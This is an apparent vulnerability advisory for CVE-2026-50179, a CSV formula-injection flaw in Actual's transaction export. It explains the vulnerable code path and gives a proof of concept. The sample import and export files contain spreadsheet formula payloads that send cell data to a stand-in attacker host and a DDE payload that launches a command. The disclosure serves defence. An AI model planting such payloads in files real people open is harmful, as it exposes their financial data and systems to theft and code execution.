🛡️ CVE-2026-50179 — web
Description
@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields
Summary
exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.
Details
Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:
```ts
return csvStringify(transactionsForExport, { header: true });
```
and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — grep for csvStringify finds exactly one source file across the monorepo.
Source of attacker-controlled Payee/Notes:
packages/loot-core/src/server/transactions/import/parse-file.ts:77dispatches uploaded files toparseCSV(:109),parseOFX(:200),parseQIF(:158),parseCAMT(:250). None of them strip or escape formula prefixes frompayee_name/imported_payee/notes.- For OFX,
mapOfxTransactioninpackages/loot-core/src/server/transactions/import/ofx2json.tsonly runshtml2Plain(HTML entity decoding) on the NAME field —=,+,-,@,\tare untouched. sync.normalizeTransactions(packages/loot-core/src/server/transactions/sync.ts) appliestitle()casing, which only mutates letters viaString.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...)parses identically to=HYPERLINK(...)).- The payee can also be entered directly through the UI or set via the
@actual-app/api's payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.
Verification that csv-stringify does not neutralize formulas:
```
$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"
Payee
"=HYPERLINK(""http://x/?""&B2,""refund"")"
```
The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.
PoC
1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file":
```
Date,Payee,Amount
2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00
2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00
2026-01-03,"+1+1",-25.00
2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00
```
2. Victim imports through Account → Import file. parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.
3. Payees are persisted into the payees table verbatim.
4. Some time later the victim runs Account → menu → Export. transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).
5. The exported file looks like (verified output shape from csvStringify):
```
Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared
Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared
Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared
Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared
Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared
```
6. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. =HYPERLINK(...) renders as a clickable link that exfiltrates adjacent cell values to attacker on click; =WEBSERVICE/=IMPORTXML (Sheets/LibreOffice) fire automatically; legacy =cmd|... DDE may execute on unpatched Excel.
Impact
- Confidentiality: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through
=HYPERLINKclicks or auto-firing=WEBSERVICE/
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.
Weakness class
CVE-2026-50179 is classified as CWE-1236: Improper Neutralization of Formula Elements in a CSV File. Exported values are not neutralised, so a spreadsheet may treat them as formulas when opened.
Affected software
CVE-2026-50179 is recorded against 2 packages.
- @actual-app/web
- unknown
Timeline and source
Published on 22 June 2026 and last revised on 23 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| @actual-app/web | — | — |
| unknown | — | — |
References
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Vulnerability Monitoring
Track new vulnerabilities in web
CVE-2026-50179 is rated CVSS 4.2 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.
Set Up Free Alerts →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.